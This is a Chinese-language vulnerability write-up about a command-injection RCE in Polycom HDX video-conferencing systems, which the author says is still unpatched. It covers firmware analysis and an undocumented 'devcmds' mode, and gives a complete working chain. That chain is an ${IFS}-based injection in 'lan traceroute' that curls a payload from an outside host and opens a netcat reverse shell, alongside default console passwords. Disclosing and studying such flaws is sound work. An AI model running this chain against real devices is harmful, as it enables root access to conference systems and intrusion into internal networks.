深入剖析Polycom HDX系列视频会议系统的RCE漏洞

在进行外部审计时，通常需要花费大量的时间对目标进行踩点，以便找到可能的攻击途径。当审计大型公司的时候，很可能要涉及到视频会议终端。在本文中，我们将对视频会议系统Polycom HDX系列中的一个安全漏洞进行详细剖析。

我发现这个漏洞的时候，当时还在SensePost工作，并将其报告给了Polycom公司。该公司确认了该漏洞，并声称将发布相应的安全补丁。但是，这件事已经过去一年多了，官方仍然没有发布任何的建议或补丁。不过，自从报告这个漏洞之后，他们在HDX系列中修复了一个XXS漏洞，从这里来看，之所以没有修复我提交的漏洞，很可能是认为它的威胁较小的缘故。 

Polycom PSH

Polycom HDX系列在端口23上对外公开了一个管理控制台。这个管理接口是建立在PSH（Polycom Shell）的基础之上的，用于管理基础设备。在默认情况下，这个控制台并没有设置密码，或者，即使设置了密码，也是诸如456、admin或者POLYCOM之类的弱密码，重要的是，登陆时根本无需提供用户名。此外，PSH也存在认证绕过漏洞，但是从理论上说，在2013年以后，大部分系统都应该已经修复了这个漏洞才对。当连接到PSH控制台后，您可以执行各种各样的操作，甚至能导致底层的会议系统出现问题。

虽然这些命令都很有用，但并非我们真正想要的，因为我们的目标是设法进入内部网络。那么，我们该如何通过这些命令跳转到内部网络呢？通过仔细研究在2013年曝光的认证绕过漏洞资料，我们发现，通过在ping命令中实施命令注入，可以实现RCE——这实际上是一个更老的漏洞。

枚举攻击面

在审计过程中，我发现了一个没有启用身份验证的Polycom端点。由于没有任何其他可用的攻击途径，所以我决定通过它来入侵内部网络。我尝试通过ping命令执行漏洞来获取shell，不幸的是，该设备已经修复了这个漏洞。不过，既然过去曾经出现过RCE漏洞，那么我自然想到：其他函数中也可能存在类似的漏洞。

于是，我开始深入研究参考手册，并手动测试了该系统提供的每个命令，遗憾的是，还是没有发现命令执行漏洞。所以，我打算从隐藏的功能中寻找突破口。为此，我从Polycom更新站点下载了系统软件的副本。既然更新是以.pup文件的形式出现的，那么我们就可以使用binwalk来了解这种格式的内部细节。实际上，这很简单，因为binwalk能够自动提取所有的部件。 

binwalk -e polycom-hdx-release-3.1.10-51067.pup

下面，我们要深入了解所有的二进制文件，找出哪些是重要的，哪些是PSH用到的。为此，我研究了Polycom的技术文档，并根据在PSH中输入help命令所获得的信息，终于搞清楚了要找的是什么。

我提取了polycom_swupdate文件夹中的所有.tar.gz文件，然后利用grep命令来处理已知的命令。 

cd _polycom-hdx-release-3.1.10-51067.pup.extracted/polycom_swupdate
 tar xf polycom.g3.1.tar.gz
 grep dialchannels -R *

 接下来，我们考察的新目标是二进制文件avc。在研究二进制文件的时候，一种比较省劲的方法就是使用strings命令，具体如下所示。 

strings avc | less

在使用这个命令来考察二进制文件和命令文件的时候，不仅可以滚屏，同时还能进行字符串搜索。鉴于dialchannels命令出现在grep命令的输出结果中，这强烈表明，很可能还有其他命令也被硬编码到了这个二进制文件的字符串中。所以，我们需要遍历所有字符串，不过这可是个累活。幸运的是，这里有一条捷径可走。由于该二进制文件是用c/c++语言编写的，所以，它肯定会用到字符串格式符。所以，我只需要搜索带有字符串(%s)的命令，并将其传递给已知的Linux系统命令即可。

不难看出，这里面最有希望的结果是traceroute命令。之所以这样讲，原因有两个：第一个原因是，它好像会直接调用Linux命令，并使用字符串格式来提供参数。第二个原因是，先前报告的命令注入漏洞存在于ping命令中（对于OS命令注入攻击来说，这是最佳的注入点）。现在看起来就要大功告成了：只需要调用traceroute `sleep 10`，就能执行命令exec。

事实证明，事情远远没有想的这么简单。如果尝试调用traceroute命令的话，实际上会不断返回错误消息，声称该命令不存在。所以，我们好像无法直接调用traceroute命令，所以，我不得不寻找合适的命令来间接调用traceroute。为此，重新开始从字符串中寻找关键词traceroute。 

现在，我们知道traceroute是lan命令的一部分，所以，接下来我会尝试注入这个命令。好了，让我们回到Polycom Command Shell尝试一下。不过，shell的返回结果指出，lan命令没有traceroute选项。

当然是有的！我早就在二进制文件中找到了。经过一番折腾之后，我终于在bin/psh二进制文件中发现了一个未公开的命令。这个命令看起来太令人难以置信了，竟然是devcmds。我立刻尝试了一下，结果收到了一个有趣的消息： 

-> devcmds
 Entering sticky internal commands *ONLY* mode

Devcmds模式

进入这个模式后，我对原来的命令又尝试了一番，发现它们突然都无法正常使用了。所以，devcmds看起来好像激活了一个新的代码分支。我再次尝试lan命令，竟然能够使用traceroute了。我赶紧通过lan traceroute 127.0.0.1进行快速确认，结果显示该命令的确能够正常运行。

接下来，我们将尝试命令注入攻击。 

lan traceroute `echo 127.0.0.1`

让人伤心的是，这次尝试失败了，反馈的出错原因是使用了非法参数。 

2017-11-12 12:16:40 DEBUG avc: pc[0]: NOTIFY: SYS lan traceroute Error:
 2017-11-12 12:16:40 ERROR avc: pc[0]: DevMgrEther: DevMgrEther_Process_TraceRoute - (/usr/bin/traceroute `echo 2>&1 > /tmp/traceroute.out) failed [errno: 2 - No such file or directory]

通过观察输出结果，我们很快就可以搞清楚，出错原因是echo之后的所有内容都被丢弃了。实际上，这里的罪魁祸首就是空格符，因为代码将其解释为一个单独的参数。 

${IFS}

幸运的是，Bash/Sh提供了一个非常有用的环境变量，即$IFS或内部字段分隔符，我们可以使用它来代替空格字符。为此，只需用${IFS}替换cmd注入中的所有空格即可。 

lan traceroute `echo${IFS}127.0.0.1`
 2009-07-25 06:08:41 DEBUG avc: pc[0]: uimsg: D: lan traceroute `echo${IFS}127.0.0.1`
 2009-07-25 06:08:41 DEBUG avc: pc[0]: os: task:DETR pid:1754 thread 622ff4c0 17255 13fbc110
 2009-07-25 06:08:41 INFO avc: pc[0]: DevMgrEther: Trace Route Command Entry, hostnameORIP: `echo${IFS}127.0.0.1` hop_count: 0

漏洞利用

如果你没有得到一个适当的shell，还能远程执行代码吗？哈哈，接受挑战吧。测试了命令注入后，我们发现还存在其他方面的限制。例如，看上去分号（;）会被剥离（不知道什么原因，难道ping命令中的cmd注入漏洞已经被修复了？）。另一个问题是，在底层的Polycom设备上预安装的二进制文件的数量有限，也就是说我们可用的命令有限。这意味着没有nc可以使用，所以反向bash shell在这里也不灵光了。

幸运的是，curl是可用的，这意味着可以将定制的二进制文件下载到设备中重复使用，并且这些都不难做到。我决定将netcat用作反向shell，所以我需要一个可以在Polycom设备上使用的nc程序。由于Polycom可以在powerpc上运行，这就意味着nc二进制程序必须与之保持兼容，所以，我们不能直接上传本地nc副本。不过，这不是什么大不了的问题，相反，它很容易解决。为此，我们只需启动一个基于powerpc的Debian映像——这里面就有一个netcat（nc），并且是为powerpc架构编译的，最让人高兴的是，它还提供了一个方便的-e选项。 

在qemu中运行Debian镜像： 

qemu-system-ppc -hda debian_squeeze_powerpc_standard.qcow2

使用root:root登陆系统，然后将/bin/nc.traditional二进制文件复制到： 

Localhost:

nc -lv 8999 > /tmp/nc

在qemu中，执行下列命令： 

cat /bin/nc.traditional | nc 192.168.1.101 8999

现在，我们就可以充分利用Polycom的RCE漏洞了。 

大功告成

我将powerpc版本的nc上传到网络服务器，这样就可以从Polycom设备上面下载这个程序了。然后，我设置了一个监听器来“捕捉”这个反向连接。

设置监听器： 

nc -lvp 444

我们的payload会下载nc，赋予其可执行权限，然后创建一个反向shell，将其保存到我们的网络服务器上的文件中： 

curl x.x.x.x:443/nc -o /tmp/nc
 /bin/chmod +x /tmp/nc
 /tmp/nc -e /bin/sh x.x.x.x 444

然后通过命令注入执行以下操作：

lan traceroute `echo${IFS}127.0.0.1&curl${IFS}x.x.x.x:443/ncexec${IFS}|sh${IFS}&`

 小结

到目前为止，我们已经取得了底层设备的root访问权限，并且可以访问内部主机。在理想的情况下，会议系统会应该放置在一个单独的子网上，并且不允许访问内部网络——但是，理想很丰满，现实很骨感，这个，你们懂得。